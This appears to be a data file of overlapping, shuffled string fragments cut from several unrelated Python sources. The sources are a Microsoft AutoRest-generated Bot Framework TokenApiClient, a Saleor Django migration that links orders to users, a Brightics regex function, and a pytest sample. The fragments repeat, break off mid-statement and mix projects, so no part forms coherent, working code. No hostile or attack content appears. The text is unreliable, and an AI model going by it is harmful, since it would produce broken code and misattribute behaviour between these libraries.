-------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved.", "Code generated by Microsoft (R) AutoRest Code Generator. # Changes", "information. # # Code generated by Microsoft (R) AutoRest Code", "coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights", "UserTokenOperations from . import models class TokenApiClient(SDKClient): \"\"\"TokenApiClient :ivar config:", "UserToken operations :vartype user_token: botframework.tokenapi.operations.UserTokenOperations :param credentials: Subscription credentials which", "SDKClient from msrest import Serializer, Deserializer from ._configuration import TokenApiClientConfiguration", "License. See License.txt in the project root for # license", "which uniquely identify client subscription. :type credentials: None :param str", "Serializer, Deserializer from ._configuration import TokenApiClientConfiguration from .operations import BotSignInOperations", "subscription. :type credentials: None :param str base_url: Service URL \"\"\"", "URL \"\"\" def __init__(self, credentials, base_url=None): self.config = TokenApiClientConfiguration(credentials, base_url)", "self._deserialize = Deserializer(client_models) self.bot_sign_in = BotSignInOperations( self._client, self.config, self._serialize, self._deserialize", "code is # regenerated. # -------------------------------------------------------------------------- from msrest.service_client import SDKClient", "will be lost if the code is # regenerated. #", "import models class TokenApiClient(SDKClient): \"\"\"TokenApiClient :ivar config: Configuration for client.", "\"\"\"TokenApiClient :ivar config: Configuration for client. :vartype config: TokenApiClientConfiguration :ivar", "lost if the code is # regenerated. # -------------------------------------------------------------------------- from", "from msrest.service_client import SDKClient from msrest import Serializer, Deserializer from", "user_token: botframework.tokenapi.operations.UserTokenOperations :param credentials: Subscription credentials which uniquely identify client", "from . import models class TokenApiClient(SDKClient): \"\"\"TokenApiClient :ivar config: Configuration", "and will be lost if the code is # regenerated.", "the code is # regenerated. # -------------------------------------------------------------------------- from msrest.service_client import", "self.api_version = \"token\" self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models) self.bot_sign_in", ":param credentials: Subscription credentials which uniquely identify client subscription. :type", "credentials, base_url=None): self.config = TokenApiClientConfiguration(credentials, base_url) super(TokenApiClient, self).__init__(self.config.credentials, self.config) client_models", "if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.service_client", ".operations import BotSignInOperations from .operations import UserTokenOperations from . import", "under the MIT License. See License.txt in the project root", "= Deserializer(client_models) self.bot_sign_in = BotSignInOperations( self._client, self.config, self._serialize, self._deserialize )", "TokenApiClientConfiguration from .operations import BotSignInOperations from .operations import UserTokenOperations from", "cause incorrect behavior and will be lost if the code", "(c) Microsoft Corporation. All rights reserved. # Licensed under the", "All rights reserved. # Licensed under the MIT License. See", "Serializer(client_models) self._deserialize = Deserializer(client_models) self.bot_sign_in = BotSignInOperations( self._client, self.config, self._serialize,", "Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect", "Subscription credentials which uniquely identify client subscription. :type credentials: None", "-------------------------------------------------------------------------- from msrest.service_client import SDKClient from msrest import Serializer, Deserializer", "botframework.tokenapi.operations.BotSignInOperations :ivar user_token: UserToken operations :vartype user_token: botframework.tokenapi.operations.UserTokenOperations :param credentials:", "= Serializer(client_models) self._deserialize = Deserializer(client_models) self.bot_sign_in = BotSignInOperations( self._client, self.config,", "self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models) self.bot_sign_in = BotSignInOperations( self._client,", ":ivar config: Configuration for client. :vartype config: TokenApiClientConfiguration :ivar bot_sign_in:", "for k, v in models.__dict__.items() if isinstance(v, type) } self.api_version", "base_url: Service URL \"\"\" def __init__(self, credentials, base_url=None): self.config =", "for client. :vartype config: TokenApiClientConfiguration :ivar bot_sign_in: BotSignIn operations :vartype", "Deserializer(client_models) self.bot_sign_in = BotSignInOperations( self._client, self.config, self._serialize, self._deserialize ) self.user_token", "credentials: Subscription credentials which uniquely identify client subscription. :type credentials:", "k, v in models.__dict__.items() if isinstance(v, type) } self.api_version =", ":ivar user_token: UserToken operations :vartype user_token: botframework.tokenapi.operations.UserTokenOperations :param credentials: Subscription", "root for # license information. # # Code generated by", "Microsoft Corporation. All rights reserved. # Licensed under the MIT", "Licensed under the MIT License. See License.txt in the project", "import SDKClient from msrest import Serializer, Deserializer from ._configuration import", "# Code generated by Microsoft (R) AutoRest Code Generator. #", "self._serialize, self._deserialize ) self.user_token = UserTokenOperations( self._client, self.config, self._serialize, self._deserialize", "# regenerated. # -------------------------------------------------------------------------- from msrest.service_client import SDKClient from msrest", "base_url) super(TokenApiClient, self).__init__(self.config.credentials, self.config) client_models = { k: v for", "rights reserved. # Licensed under the MIT License. See License.txt", "# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All", "def __init__(self, credentials, base_url=None): self.config = TokenApiClientConfiguration(credentials, base_url) super(TokenApiClient, self).__init__(self.config.credentials,", "v for k, v in models.__dict__.items() if isinstance(v, type) }", "License.txt in the project root for # license information. #", "# license information. # # Code generated by Microsoft (R)", "models class TokenApiClient(SDKClient): \"\"\"TokenApiClient :ivar config: Configuration for client. :vartype", "client_models = { k: v for k, v in models.__dict__.items()", "self.config) client_models = { k: v for k, v in", "Code Generator. # Changes may cause incorrect behavior and will", "be lost if the code is # regenerated. # --------------------------------------------------------------------------", ":ivar bot_sign_in: BotSignIn operations :vartype bot_sign_in: botframework.tokenapi.operations.BotSignInOperations :ivar user_token: UserToken", "operations :vartype user_token: botframework.tokenapi.operations.UserTokenOperations :param credentials: Subscription credentials which uniquely", "from msrest import Serializer, Deserializer from ._configuration import TokenApiClientConfiguration from", "super(TokenApiClient, self).__init__(self.config.credentials, self.config) client_models = { k: v for k,", "import UserTokenOperations from . import models class TokenApiClient(SDKClient): \"\"\"TokenApiClient :ivar", "for # license information. # # Code generated by Microsoft", "Configuration for client. :vartype config: TokenApiClientConfiguration :ivar bot_sign_in: BotSignIn operations", "None :param str base_url: Service URL \"\"\" def __init__(self, credentials,", "self._client, self.config, self._serialize, self._deserialize ) self.user_token = UserTokenOperations( self._client, self.config,", "config: Configuration for client. :vartype config: TokenApiClientConfiguration :ivar bot_sign_in: BotSignIn", "(R) AutoRest Code Generator. # Changes may cause incorrect behavior", ":vartype user_token: botframework.tokenapi.operations.UserTokenOperations :param credentials: Subscription credentials which uniquely identify", "__init__(self, credentials, base_url=None): self.config = TokenApiClientConfiguration(credentials, base_url) super(TokenApiClient, self).__init__(self.config.credentials, self.config)", ":param str base_url: Service URL \"\"\" def __init__(self, credentials, base_url=None):", "user_token: UserToken operations :vartype user_token: botframework.tokenapi.operations.UserTokenOperations :param credentials: Subscription credentials", "type) } self.api_version = \"token\" self._serialize = Serializer(client_models) self._deserialize =", "bot_sign_in: botframework.tokenapi.operations.BotSignInOperations :ivar user_token: UserToken operations :vartype user_token: botframework.tokenapi.operations.UserTokenOperations :param", "Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under", "Deserializer from ._configuration import TokenApiClientConfiguration from .operations import BotSignInOperations from", ":type credentials: None :param str base_url: Service URL \"\"\" def" ]
[ "of test_sample.py def inc(x: int) -> int: return x +", "content of test_sample.py def inc(x: int) -> int: return x", "test_sample.py def inc(x: int) -> int: return x + 1", "# content of test_sample.py def inc(x: int) -> int: return" ]
[ "from django.db import migrations from saleor.order import OrderStatus def match_orders_with_users(apps,", "3.0.4 on 2020-04-06 09:56 from django.db import migrations from saleor.order", "OrderStatus def match_orders_with_users(apps, *_args, **_kwargs): Order = apps.get_model(\"order\", \"Order\") User", "match_orders_with_users(apps, *_args, **_kwargs): Order = apps.get_model(\"order\", \"Order\") User = apps.get_model(\"account\",", "apps.get_model(\"account\", \"User\") orders_without_user = Order.objects.filter( user_email__isnull=False, user=None ).exclude(status=OrderStatus.DRAFT) for order", "= User.objects.get(email=order.user_email) except User.DoesNotExist: continue order.user = new_user order.save(update_fields=[\"user\"]) class", "2020-04-06 09:56 from django.db import migrations from saleor.order import OrderStatus", "Migration(migrations.Migration): dependencies = [ (\"order\", \"0080_invoice\"), ] operations = [", "from saleor.order import OrderStatus def match_orders_with_users(apps, *_args, **_kwargs): Order =", "order in orders_without_user: try: new_user = User.objects.get(email=order.user_email) except User.DoesNotExist: continue", "User.DoesNotExist: continue order.user = new_user order.save(update_fields=[\"user\"]) class Migration(migrations.Migration): dependencies =", "class Migration(migrations.Migration): dependencies = [ (\"order\", \"0080_invoice\"), ] operations =", "on 2020-04-06 09:56 from django.db import migrations from saleor.order import", "except User.DoesNotExist: continue order.user = new_user order.save(update_fields=[\"user\"]) class Migration(migrations.Migration): dependencies", "django.db import migrations from saleor.order import OrderStatus def match_orders_with_users(apps, *_args,", "\"Order\") User = apps.get_model(\"account\", \"User\") orders_without_user = Order.objects.filter( user_email__isnull=False, user=None", "by Django 3.0.4 on 2020-04-06 09:56 from django.db import migrations", "order.user = new_user order.save(update_fields=[\"user\"]) class Migration(migrations.Migration): dependencies = [ (\"order\",", "migrations from saleor.order import OrderStatus def match_orders_with_users(apps, *_args, **_kwargs): Order", "import OrderStatus def match_orders_with_users(apps, *_args, **_kwargs): Order = apps.get_model(\"order\", \"Order\")", "= Order.objects.filter( user_email__isnull=False, user=None ).exclude(status=OrderStatus.DRAFT) for order in orders_without_user: try:", "User.objects.get(email=order.user_email) except User.DoesNotExist: continue order.user = new_user order.save(update_fields=[\"user\"]) class Migration(migrations.Migration):", "in orders_without_user: try: new_user = User.objects.get(email=order.user_email) except User.DoesNotExist: continue order.user", "= new_user order.save(update_fields=[\"user\"]) class Migration(migrations.Migration): dependencies = [ (\"order\", \"0080_invoice\"),", "Generated by Django 3.0.4 on 2020-04-06 09:56 from django.db import", "= [ (\"order\", \"0080_invoice\"), ] operations = [ migrations.RunPython(match_orders_with_users), ]", "Django 3.0.4 on 2020-04-06 09:56 from django.db import migrations from", "**_kwargs): Order = apps.get_model(\"order\", \"Order\") User = apps.get_model(\"account\", \"User\") orders_without_user", "Order = apps.get_model(\"order\", \"Order\") User = apps.get_model(\"account\", \"User\") orders_without_user =", "user_email__isnull=False, user=None ).exclude(status=OrderStatus.DRAFT) for order in orders_without_user: try: new_user =", "09:56 from django.db import migrations from saleor.order import OrderStatus def", "<gh_stars>1000+ # Generated by Django 3.0.4 on 2020-04-06 09:56 from", "\"User\") orders_without_user = Order.objects.filter( user_email__isnull=False, user=None ).exclude(status=OrderStatus.DRAFT) for order in", "continue order.user = new_user order.save(update_fields=[\"user\"]) class Migration(migrations.Migration): dependencies = [", "*_args, **_kwargs): Order = apps.get_model(\"order\", \"Order\") User = apps.get_model(\"account\", \"User\")", "for order in orders_without_user: try: new_user = User.objects.get(email=order.user_email) except User.DoesNotExist:", "saleor.order import OrderStatus def match_orders_with_users(apps, *_args, **_kwargs): Order = apps.get_model(\"order\",", "def match_orders_with_users(apps, *_args, **_kwargs): Order = apps.get_model(\"order\", \"Order\") User =", "User = apps.get_model(\"account\", \"User\") orders_without_user = Order.objects.filter( user_email__isnull=False, user=None ).exclude(status=OrderStatus.DRAFT)", "user=None ).exclude(status=OrderStatus.DRAFT) for order in orders_without_user: try: new_user = User.objects.get(email=order.user_email)", "orders_without_user: try: new_user = User.objects.get(email=order.user_email) except User.DoesNotExist: continue order.user =", "orders_without_user = Order.objects.filter( user_email__isnull=False, user=None ).exclude(status=OrderStatus.DRAFT) for order in orders_without_user:", "Order.objects.filter( user_email__isnull=False, user=None ).exclude(status=OrderStatus.DRAFT) for order in orders_without_user: try: new_user", ").exclude(status=OrderStatus.DRAFT) for order in orders_without_user: try: new_user = User.objects.get(email=order.user_email) except", "try: new_user = User.objects.get(email=order.user_email) except User.DoesNotExist: continue order.user = new_user", "order.save(update_fields=[\"user\"]) class Migration(migrations.Migration): dependencies = [ (\"order\", \"0080_invoice\"), ] operations", "new_user = User.objects.get(email=order.user_email) except User.DoesNotExist: continue order.user = new_user order.save(update_fields=[\"user\"])", "# Generated by Django 3.0.4 on 2020-04-06 09:56 from django.db", "= apps.get_model(\"order\", \"Order\") User = apps.get_model(\"account\", \"User\") orders_without_user = Order.objects.filter(", "= apps.get_model(\"account\", \"User\") orders_without_user = Order.objects.filter( user_email__isnull=False, user=None ).exclude(status=OrderStatus.DRAFT) for", "new_user order.save(update_fields=[\"user\"]) class Migration(migrations.Migration): dependencies = [ (\"order\", \"0080_invoice\"), ]", "dependencies = [ (\"order\", \"0080_invoice\"), ] operations = [ migrations.RunPython(match_orders_with_users),", "apps.get_model(\"order\", \"Order\") User = apps.get_model(\"account\", \"User\") orders_without_user = Order.objects.filter( user_email__isnull=False,", "import migrations from saleor.order import OrderStatus def match_orders_with_users(apps, *_args, **_kwargs):" ]
[ "regex_pattern.split(text, 1) else: # find_mode == 'all' return regex_pattern.split(text) for", "\"\" else: return result.group() else: # find_mode == 'all' return", "elif pattern == 'user_dictionary': raw_pattern = user_pattern_dict.get(user_dict_pattern) if raw_pattern is", "transformation_mode == 'extract': if find_mode == 'first': result = regex_pattern.search(text)", "r'|'.join(value) for key, value in user_pattern_dict.items()} if pattern == '':", "result = regex_pattern.search(text) if result is None: return \"\" else:", "regex_pattern.findall(text) elif transformation_mode == 'replace': if find_mode == 'first': return", "else: # find_mode == 'all' return regex_pattern.sub(replacement_string, text) elif transformation_mode", "transformation_mode == 'replace': if find_mode == 'first': return regex_pattern.sub(replacement_string, text,", "input_cols, transformation_mode='extract', find_mode='all', pattern='', user_dict_pattern='', custom_pattern='', replacement_string='', user_dict=None): out_table =", "== 'replace': if find_mode == 'first': return regex_pattern.sub(replacement_string, text, 1)", "== '': raise BrighticsFunctionException.from_errors([{'0100': \"Please choose a pattern.\"}]) if pattern", "+ [user_pattern_content] user_pattern_dict = {key: r'|'.join(value) for key, value in", "in user_patterns: user_pattern_name = user_pattern[0] user_pattern_content = user_pattern[1] user_pattern_dict[user_pattern_name] =", "Unless required by applicable law or agreed to in writing,", "by applicable law or agreed to in writing, software distributed", "user_dict_pattern + \" is not a valid pattern name in", "in the user dictionary.\"}]) else: raw_pattern = pattern_dict.get(pattern) regex_pattern =", "== 'remove': if find_mode == 'first': return regex_pattern.sub(\"\", text, 1)", "in user_pattern_dict.items()} if pattern == '': raise BrighticsFunctionException.from_errors([{'0100': \"Please choose", "a pattern.\"}]) if pattern == 'custom': raw_pattern = custom_pattern elif", "'remove': if find_mode == 'first': return regex_pattern.sub(\"\", text, 1) else:", "[user_pattern_content] user_pattern_dict = {key: r'|'.join(value) for key, value in user_pattern_dict.items()}", "software distributed under the License is distributed on an \"AS", "distributed under the License is distributed on an \"AS IS\"", "pattern name in the user dictionary.\"}]) else: raw_pattern = pattern_dict.get(pattern)", "[]) + [user_pattern_content] user_pattern_dict = {key: r'|'.join(value) for key, value", "**params) def _regex(table, input_cols, transformation_mode='extract', find_mode='all', pattern='', user_dict_pattern='', custom_pattern='', replacement_string='',", "raw_pattern is None: raise BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern + \" is", "[{'0100': user_dict_pattern + \" is not a valid pattern name", "'': raise BrighticsFunctionException.from_errors([{'0100': \"Please choose a pattern.\"}]) if pattern ==", "if pattern == '': raise BrighticsFunctionException.from_errors([{'0100': \"Please choose a pattern.\"}])", "CONDITIONS OF ANY KIND, either express or implied. See the", "= table.copy() pattern_dict = regex_format_dict.pattern_dict user_pattern_dict = {} if user_dict", "limitations under the License. \"\"\" from brightics.common.utils import check_required_parameters from", "if user_dict is not None: user_patterns = user_dict.values for user_pattern", "== 'all' return regex_pattern.split(text) for col in input_cols: result_col =", "else: raw_pattern = pattern_dict.get(pattern) regex_pattern = re.compile(raw_pattern) def transformation(text): if", "Version 2.0 (the \"License\"); you may not use this file", "find_mode == 'first': return regex_pattern.sub(replacement_string, text, 1) else: # find_mode", "regex(table, **params): check_required_parameters(_regex, params, ['table']) return _regex(table, **params) def _regex(table,", "custom_pattern elif pattern == 'user_dictionary': raw_pattern = user_pattern_dict.get(user_dict_pattern) if raw_pattern", "return regex_pattern.sub(\"\", text, 1) else: # find_mode == 'all' return", "writing, software distributed under the License is distributed on an", "raw_pattern = pattern_dict.get(pattern) regex_pattern = re.compile(raw_pattern) def transformation(text): if transformation_mode", "'all' return regex_pattern.findall(text) elif transformation_mode == 'replace': if find_mode ==", "'first': return regex_pattern.sub(replacement_string, text, 1) else: # find_mode == 'all'", "dictionary.\"}]) else: raw_pattern = pattern_dict.get(pattern) regex_pattern = re.compile(raw_pattern) def transformation(text):", "# transformation_mode == 'split' if find_mode == 'first': return regex_pattern.split(text,", "not use this file except in compliance with the License.", "2.0 (the \"License\"); you may not use this file except", "Apache License, Version 2.0 (the \"License\"); you may not use", "copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable", "express or implied. See the License for the specific language", "pattern == 'custom': raw_pattern = custom_pattern elif pattern == 'user_dictionary':", "params, ['table']) return _regex(table, **params) def _regex(table, input_cols, transformation_mode='extract', find_mode='all',", "raise BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern + \" is not a valid", "find_mode == 'all' return regex_pattern.findall(text) elif transformation_mode == 'replace': if", "regex_pattern.split(text) for col in input_cols: result_col = table[col].apply(transformation) out_table['regex_' +", "IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "for key, value in user_pattern_dict.items()} if pattern == '': raise", "if find_mode == 'first': result = regex_pattern.search(text) if result is", "in compliance with the License. You may obtain a copy", "SDS Licensed under the Apache License, Version 2.0 (the \"License\");", "of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law", "import re def regex(table, **params): check_required_parameters(_regex, params, ['table']) return _regex(table,", "custom_pattern='', replacement_string='', user_dict=None): out_table = table.copy() pattern_dict = regex_format_dict.pattern_dict user_pattern_dict", "if find_mode == 'first': return regex_pattern.sub(replacement_string, text, 1) else: #", "you may not use this file except in compliance with", "user_patterns: user_pattern_name = user_pattern[0] user_pattern_content = user_pattern[1] user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name,", "user_pattern[1] user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name, []) + [user_pattern_content] user_pattern_dict = {key:", "{key: r'|'.join(value) for key, value in user_pattern_dict.items()} if pattern ==", "user dictionary.\"}]) else: raw_pattern = pattern_dict.get(pattern) regex_pattern = re.compile(raw_pattern) def", "None: raise BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern + \" is not a", "is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR", "_regex(table, **params) def _regex(table, input_cols, transformation_mode='extract', find_mode='all', pattern='', user_dict_pattern='', custom_pattern='',", "the License. You may obtain a copy of the License", "agreed to in writing, software distributed under the License is", "'all' return regex_pattern.sub(replacement_string, text) elif transformation_mode == 'remove': if find_mode", "\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "pattern == 'user_dictionary': raw_pattern = user_pattern_dict.get(user_dict_pattern) if raw_pattern is None:", "user_pattern in user_patterns: user_pattern_name = user_pattern[0] user_pattern_content = user_pattern[1] user_pattern_dict[user_pattern_name]", "distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS", "at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to", "== 'first': result = regex_pattern.search(text) if result is None: return", "use this file except in compliance with the License. You", "result is None: return \"\" else: return result.group() else: #", "the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or", "user_pattern_dict = {} if user_dict is not None: user_patterns =", "= pattern_dict.get(pattern) regex_pattern = re.compile(raw_pattern) def transformation(text): if transformation_mode ==", "== 'all' return regex_pattern.findall(text) elif transformation_mode == 'replace': if find_mode", "1) else: # find_mode == 'all' return regex_pattern.split(text) for col", "ANY KIND, either express or implied. See the License for", "== 'first': return regex_pattern.split(text, 1) else: # find_mode == 'all'", "pattern.\"}]) if pattern == 'custom': raw_pattern = custom_pattern elif pattern", "replacement_string='', user_dict=None): out_table = table.copy() pattern_dict = regex_format_dict.pattern_dict user_pattern_dict =", "== 'custom': raw_pattern = custom_pattern elif pattern == 'user_dictionary': raw_pattern", "user_dict.values for user_pattern in user_patterns: user_pattern_name = user_pattern[0] user_pattern_content =", "http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in", "may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless", ".data import regex_format_dict import re def regex(table, **params): check_required_parameters(_regex, params,", "obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required", "= {key: r'|'.join(value) for key, value in user_pattern_dict.items()} if pattern", "find_mode == 'first': result = regex_pattern.search(text) if result is None:", "'all' return regex_pattern.split(text) for col in input_cols: result_col = table[col].apply(transformation)", "Samsung SDS Licensed under the Apache License, Version 2.0 (the", "key, value in user_pattern_dict.items()} if pattern == '': raise BrighticsFunctionException.from_errors([{'0100':", "re def regex(table, **params): check_required_parameters(_regex, params, ['table']) return _regex(table, **params)", "== 'first': return regex_pattern.sub(\"\", text, 1) else: # find_mode ==", "pattern_dict.get(pattern) regex_pattern = re.compile(raw_pattern) def transformation(text): if transformation_mode == 'extract':", "= table[col].apply(transformation) out_table['regex_' + col] = result_col return {'out_table': out_table}", "either express or implied. See the License for the specific", "pattern_dict = regex_format_dict.pattern_dict user_pattern_dict = {} if user_dict is not", "BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "return regex_pattern.findall(text) elif transformation_mode == 'replace': if find_mode == 'first':", "is None: raise BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern + \" is not", "regex_pattern = re.compile(raw_pattern) def transformation(text): if transformation_mode == 'extract': if", "under the License is distributed on an \"AS IS\" BASIS,", "\"License\"); you may not use this file except in compliance", "name in the user dictionary.\"}]) else: raw_pattern = pattern_dict.get(pattern) regex_pattern", "License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES", "Licensed under the Apache License, Version 2.0 (the \"License\"); you", "BrighticsFunctionException.from_errors([{'0100': \"Please choose a pattern.\"}]) if pattern == 'custom': raw_pattern", "import check_required_parameters from brightics.common.exception import BrighticsFunctionException from .data import regex_format_dict", "from brightics.common.exception import BrighticsFunctionException from .data import regex_format_dict import re", "with the License. You may obtain a copy of the", "# find_mode == 'all' return regex_pattern.findall(text) elif transformation_mode == 'replace':", "find_mode == 'first': return regex_pattern.split(text, 1) else: # find_mode ==", "find_mode == 'all' return regex_pattern.split(text) for col in input_cols: result_col", "License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed", "License for the specific language governing permissions and limitations under", "== 'user_dictionary': raw_pattern = user_pattern_dict.get(user_dict_pattern) if raw_pattern is None: raise", "{} if user_dict is not None: user_patterns = user_dict.values for", "# find_mode == 'all' return regex_pattern.sub(replacement_string, text) elif transformation_mode ==", "text, 1) else: # find_mode == 'all' return regex_pattern.sub(replacement_string, text)", "return result.group() else: # find_mode == 'all' return regex_pattern.findall(text) elif", "if transformation_mode == 'extract': if find_mode == 'first': result =", "raw_pattern = user_pattern_dict.get(user_dict_pattern) if raw_pattern is None: raise BrighticsFunctionException.from_errors( [{'0100':", "else: # find_mode == 'all' return regex_pattern.findall(text) elif transformation_mode ==", "'custom': raw_pattern = custom_pattern elif pattern == 'user_dictionary': raw_pattern =", "regex_pattern.sub(\"\", text) else: # transformation_mode == 'split' if find_mode ==", "under the License. \"\"\" from brightics.common.utils import check_required_parameters from brightics.common.exception", "this file except in compliance with the License. You may", "BrighticsFunctionException from .data import regex_format_dict import re def regex(table, **params):", "the License. \"\"\" from brightics.common.utils import check_required_parameters from brightics.common.exception import", "user_dict_pattern='', custom_pattern='', replacement_string='', user_dict=None): out_table = table.copy() pattern_dict = regex_format_dict.pattern_dict", "the user dictionary.\"}]) else: raw_pattern = pattern_dict.get(pattern) regex_pattern = re.compile(raw_pattern)", "raw_pattern = custom_pattern elif pattern == 'user_dictionary': raw_pattern = user_pattern_dict.get(user_dict_pattern)", "else: return result.group() else: # find_mode == 'all' return regex_pattern.findall(text)", "return regex_pattern.sub(replacement_string, text, 1) else: # find_mode == 'all' return", "specific language governing permissions and limitations under the License. \"\"\"", "user_pattern[0] user_pattern_content = user_pattern[1] user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name, []) + [user_pattern_content]", "(the \"License\"); you may not use this file except in", "and limitations under the License. \"\"\" from brightics.common.utils import check_required_parameters", "if result is None: return \"\" else: return result.group() else:", "text) elif transformation_mode == 'remove': if find_mode == 'first': return", "transformation_mode='extract', find_mode='all', pattern='', user_dict_pattern='', custom_pattern='', replacement_string='', user_dict=None): out_table = table.copy()", "regex_pattern.sub(replacement_string, text, 1) else: # find_mode == 'all' return regex_pattern.sub(replacement_string,", "from brightics.common.utils import check_required_parameters from brightics.common.exception import BrighticsFunctionException from .data", "_regex(table, input_cols, transformation_mode='extract', find_mode='all', pattern='', user_dict_pattern='', custom_pattern='', replacement_string='', user_dict=None): out_table", "'user_dictionary': raw_pattern = user_pattern_dict.get(user_dict_pattern) if raw_pattern is None: raise BrighticsFunctionException.from_errors(", "language governing permissions and limitations under the License. \"\"\" from", "1) else: # find_mode == 'all' return regex_pattern.sub(\"\", text) else:", "applicable law or agreed to in writing, software distributed under", "import regex_format_dict import re def regex(table, **params): check_required_parameters(_regex, params, ['table'])", "= custom_pattern elif pattern == 'user_dictionary': raw_pattern = user_pattern_dict.get(user_dict_pattern) if", "'extract': if find_mode == 'first': result = regex_pattern.search(text) if result", "pattern == '': raise BrighticsFunctionException.from_errors([{'0100': \"Please choose a pattern.\"}]) if", "brightics.common.exception import BrighticsFunctionException from .data import regex_format_dict import re def", "user_patterns = user_dict.values for user_pattern in user_patterns: user_pattern_name = user_pattern[0]", "+ \" is not a valid pattern name in the", "elif transformation_mode == 'replace': if find_mode == 'first': return regex_pattern.sub(replacement_string,", "return regex_pattern.split(text) for col in input_cols: result_col = table[col].apply(transformation) out_table['regex_'", "find_mode == 'all' return regex_pattern.sub(\"\", text) else: # transformation_mode ==", "\"\"\" Copyright 2019 Samsung SDS Licensed under the Apache License,", "the License is distributed on an \"AS IS\" BASIS, WITHOUT", "re.compile(raw_pattern) def transformation(text): if transformation_mode == 'extract': if find_mode ==", "== 'all' return regex_pattern.sub(\"\", text) else: # transformation_mode == 'split'", "brightics.common.utils import check_required_parameters from brightics.common.exception import BrighticsFunctionException from .data import", "user_pattern_content = user_pattern[1] user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name, []) + [user_pattern_content] user_pattern_dict", "None: return \"\" else: return result.group() else: # find_mode ==", "You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0", "the specific language governing permissions and limitations under the License.", "= user_pattern[1] user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name, []) + [user_pattern_content] user_pattern_dict =", "regex_pattern.sub(replacement_string, text) elif transformation_mode == 'remove': if find_mode == 'first':", "1) else: # find_mode == 'all' return regex_pattern.sub(replacement_string, text) elif", "input_cols: result_col = table[col].apply(transformation) out_table['regex_' + col] = result_col return", "BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern + \" is not a valid pattern", "== 'split' if find_mode == 'first': return regex_pattern.split(text, 1) else:", "# find_mode == 'all' return regex_pattern.sub(\"\", text) else: # transformation_mode", "else: # transformation_mode == 'split' if find_mode == 'first': return", "user_pattern_dict.items()} if pattern == '': raise BrighticsFunctionException.from_errors([{'0100': \"Please choose a", "find_mode == 'all' return regex_pattern.sub(replacement_string, text) elif transformation_mode == 'remove':", "= user_dict.values for user_pattern in user_patterns: user_pattern_name = user_pattern[0] user_pattern_content", "the Apache License, Version 2.0 (the \"License\"); you may not", "file except in compliance with the License. You may obtain", "except in compliance with the License. You may obtain a", "or implied. See the License for the specific language governing", "KIND, either express or implied. See the License for the", "def transformation(text): if transformation_mode == 'extract': if find_mode == 'first':", "a valid pattern name in the user dictionary.\"}]) else: raw_pattern", "to in writing, software distributed under the License is distributed", "= re.compile(raw_pattern) def transformation(text): if transformation_mode == 'extract': if find_mode", "find_mode == 'first': return regex_pattern.sub(\"\", text, 1) else: # find_mode", "\"Please choose a pattern.\"}]) if pattern == 'custom': raw_pattern =", "user_pattern_dict.get(user_dict_pattern) if raw_pattern is None: raise BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern +", "2019 Samsung SDS Licensed under the Apache License, Version 2.0", "= user_pattern_dict.get(user_pattern_name, []) + [user_pattern_content] user_pattern_dict = {key: r'|'.join(value) for", "'first': return regex_pattern.sub(\"\", text, 1) else: # find_mode == 'all'", "# find_mode == 'all' return regex_pattern.split(text) for col in input_cols:", "or agreed to in writing, software distributed under the License", "= {} if user_dict is not None: user_patterns = user_dict.values", "not a valid pattern name in the user dictionary.\"}]) else:", "if find_mode == 'first': return regex_pattern.sub(\"\", text, 1) else: #", "'all' return regex_pattern.sub(\"\", text) else: # transformation_mode == 'split' if", "law or agreed to in writing, software distributed under the", "OR CONDITIONS OF ANY KIND, either express or implied. See", "check_required_parameters from brightics.common.exception import BrighticsFunctionException from .data import regex_format_dict import", "for user_pattern in user_patterns: user_pattern_name = user_pattern[0] user_pattern_content = user_pattern[1]", "result_col = table[col].apply(transformation) out_table['regex_' + col] = result_col return {'out_table':", "def _regex(table, input_cols, transformation_mode='extract', find_mode='all', pattern='', user_dict_pattern='', custom_pattern='', replacement_string='', user_dict=None):", "user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name, []) + [user_pattern_content] user_pattern_dict = {key: r'|'.join(value)", "compliance with the License. You may obtain a copy of", "transformation(text): if transformation_mode == 'extract': if find_mode == 'first': result", "text, 1) else: # find_mode == 'all' return regex_pattern.sub(\"\", text)", "OF ANY KIND, either express or implied. See the License", "under the Apache License, Version 2.0 (the \"License\"); you may", "\"\"\" from brightics.common.utils import check_required_parameters from brightics.common.exception import BrighticsFunctionException from", "else: # find_mode == 'all' return regex_pattern.sub(\"\", text) else: #", "on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF", "License. 